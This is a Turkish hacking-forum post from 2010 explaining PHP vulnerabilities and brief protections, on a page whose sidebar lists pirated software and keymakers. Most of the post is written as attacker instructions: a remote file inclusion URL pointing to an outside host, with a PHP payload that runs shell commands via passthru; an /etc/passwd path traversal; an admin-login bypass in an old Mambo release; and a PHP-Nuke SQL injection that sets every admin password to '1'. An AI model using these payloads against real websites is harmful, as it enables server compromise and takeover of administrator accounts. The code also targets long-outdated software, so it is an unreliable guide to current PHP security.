Program Gezegeni
Forumumuza HoşGeldiniz.!!
Program Gezegeni
Forumumuza HoşGeldiniz.!!
Program Gezegeni
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Program Gezegeni

Aradığınız HerTürlü program Burada...
 
AnasayfaAramaLatest imagesKayıt OlGiriş yap
Arama
 
 

Sonuç :
 
Rechercher çıkıntı araştırma
En son konular
» Two Worlds II - RELOADED
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:34 pm tarafından XRéaL¥+

»  Front Mission Evolved v1.1 (2010/RUS/ENG/ND) + 7 Trainer
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:33 pm tarafından XRéaL¥+

»  Zest7 v2.0 Theme Pack For Windows 7
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:31 pm tarafından XRéaL¥+

»  Microsoft Office Professional Plus v14.0.4760.1000 Volume License Edition ISO (x86/x64/update 10.11.2010)
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:30 pm tarafından XRéaL¥+

»  Loaris Trojan Remover 1.2.2.3 Portable
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:29 pm tarafından XRéaL¥+

» Guitar_Pro_6.0.6_r8375_Repack_Retail_Full + Rse(Multi)
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:28 pm tarafından XRéaL¥+

»  Windows XP Preformance Edition-RELOADED | 280 MB
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:27 pm tarafından XRéaL¥+

»  Corel DESIGNER Technical Suite X5 v15.2.0.661 Incl. Keymaker -CORE
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:26 pm tarafından XRéaL¥+

» Corel WordPerfect Office X5 v15.0.0.431 Incl. Keymaker-CORE
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Kas. 10, 2010 7:25 pm tarafından XRéaL¥+

Tarıyıcı
 Kapı
 Indeks
 Üye Listesi
 Profil
 SSS
 Arama
Forum
Ortaklar
bedava forum

 

 PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları

Aşağa gitmek 
YazarMesaj
XRéaL¥+
SécRéTs AdministratoR
SécRéTs AdministratoR
XRéaL¥+


Mesaj Sayısı : 62
Reputation : 0
Kayıt tarihi : 05/02/10
Yaş : 31
Nerden : İzmir

PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Empty
MesajKonu: PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları   PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları Icon_minitimeÇarş. Mart 10, 2010 3:53 pm

PHP şuanda dünyada en çok kullanılan web programlama dillerinden biri.Her geçen gün yeni php scriptler yazılıyor programcılar sürekli kendini geliştirmeye çalışıyor ve web siteleri daha fazla php ile içiçe girmeye başlıyor.Bu yazıda PHP kodları yazılırken gözden kaçan şeylerden nasıl bir web sitesine istediğimiz yapabileceğimizi ve bunlardan nasıl korunacağımızı anlatacağım.Başlayalım;

Fonksiyonları Kullanma

PHP fonksiyonlarının bir çoğu esnek ve bir okadar erişime açıktır.Mesela include(), require() ve fopen() fonsiyonları yerel host üzerindeki dosyaları kabul eder.Bunlarda yapılan yanlış yapılandırma gibi hataları kullanarak uzaktan neler yapabileceğimizi görelim;

http://example.com/page.php?i=x.html

diye bir sayfamız olsun burada $i açıkça dosyayı içerdiğini görüyoruz peki böyle bir sayfa gördüğümüzde ilk olarak ne düşünürüz
-programcı i=../../../etc/passwd? gibi bir yol yapmışmıdır
-.html uzantısını kontrol etmişmidir
-fopen() fonskiyonunu kullanmışmıdır
-uzaktan yapılan istekleri engellemişmidir
eğer hepsi bizim işimize göre negatifse şöyle birşey yapabiliriz

http://example.com/page.php?i=http://e-hack.org/x.html

burada x sayfasının içine şu tip kodları koyarak dahada olayı geliştirebiliriz


<?php

passthru ('id');
passthru ('ls -al /etc');
passthru ('ping -c 1 e-hack.org');
passthru ('echo Admin el salla | mail root');
?>


ve bu size bağlı olarak geliştirilebilir.Sanırım burada yapılacaklar sınırsız.

Genel Açıklar

Her PHP programcısı mutlaka gözden birşeyleri kaçırır çünkü PHP çok geniş ve mükemmel kodlanması neredeyse imkansız çünkü mükemmel kodlansa bile PHP den doğan yeni açıklar bulunarak mükemmellik kırılabilinir.Burada Environment, GET, POST, Cookie ve Server değişkenlerini Genel Açıklar içine dahil edebiliriz.
Mesela eski bir mambo sürümdeki genel açığı inceliyelim;
Bu sürümde admin/ klasörünün altındaki index.php form yollandıktan sonra şifreyi database deki ile karşılaştırıyor.


<?php

if ($dbpass == $pass) {
session_register("myname" );
session_register("fullname" );
session_register("userid" );
header("Location: index2.php" );
}
?>


eğer şifre doğruysa $myname, $fullname ve $userid kaydedilir ve kullanıcı index2.php ye gönderilir.


<?php

if (!$PHPSESSID) {
header("Location: index.php" );
exit(0);
} else {
session_start();
if (!$myname) session_register("myname" );
if (!$fullname) session_register("fullname" );
if (!$userid) session_register("userid" );
}
?>


burada eğer session ID ayarlanmamışsa kullanıcı tekrar login ekranına geri gönderilir fakat ayarlanmışsa script işleme devam eder ve bir önceki ayarlarla kullanıcı giriş yapar.Şimdi biz bunu nasıl sömüreceğiz bunu inceliyelim;

http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=xxx.. .

gibi bir URL miz olduğunu düşünün.Burada $PHPSESID değişkeni ayarlı ve bu değişkende diğer 3 değişkenin doğrulanmasını sağlıyor.Ve burada yapılan sorgu işleminin yanlışlığından istediğimiz gibi giriş yapmamıza olanak veriyor.

SQL yapılandırma hataları

SQL süz bir php düşünemeyiz.Fakat kontrol edilmemiş SQL sorgu değişkenleri çok büyük tehlikeleri birlikte getirmekte şöyleki;
Gene eski bir PHP-Nuke script versiyonunu inceliyelim.Bu versiyonda yapımcılar tüm tabloların başına "nuke" önekini koymuşlar sanıyorum bunu diğer scriptlerden farklı olduklarını göstermek için yapmışlar.Buradaki her $prefix = "nuke"; tanımlaması config.php içinde yapılır.
Şimdi article.php yi inceliyelim;


<?php

if (!isset($mainfile)) {
include("mainfile.php" );
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>


ve biraz aşağıda SQL sorgusu


<?php

mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid" );
?>

SQL sorgusunu değiştirmek için $prefix in ana değerinde olmamalı bu sayede biz herhangi bir değer vererek GET parametrelerini kullanabileceğiz.config.php mainfile.php yi içermekte biz biliyoruzki $mainfile, $sid ve $tid herhangi bir değişken atıyarak GET parametrelerini kullanabiliriz.Bunu yapınca script mainfile.php ve $prefix içerdiğini ve buna göre ayarlandığını düşünecektir

http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.aut hor...

bunun açılımı

UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid" );

şeklinde olacaktır yani bir sonraki sorguda tüm admin şifreleri "1" olarak ayarlandı.

Güvenlik

-İlk olarak dışardan yapılacak müdahalelere karşı dikkatli olmalısınız.Biri sizin scriptinizdeki cookie denetimlerini veya herhangi java script uygulamalarıyla yaptığınız kodlamaları kullanabilir.
-Tüm dış değişkenler doğrulanmalıdır.Mesela bir database tablosunu es geçerseniz bir sonraki satırdaki GET parametrelerinde hile yapılmasına olanak sağlarsınız.
-Hata kayıtlarında dikkatli olmalısınız.En iyi yöntem olarak error_log() fonksiyonunu kullanabilirsiniz.Eğer biri sizin scriptinizle oynamaya başladığında bu şekilde bu kayıtları bir yerde toplayabilir veya kendinize mail olarak gönderebilirsiniz.
Sayfa başına dön Aşağa gitmek
http://programgezegeni.yetkinforum.com
 
PHP'de Muhtemel Güvenlik Açıkları ve Korunma Yolları
Sayfa başına dön 
1 sayfadaki 1 sayfası
 Similar topics
-
» Zemana AntiLogger Tam Güvenlik İçin Süper Program(güncel ve full)

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
Program Gezegeni :: Güvenlik :: Web Sitesi Güvenligi-
Buraya geçin: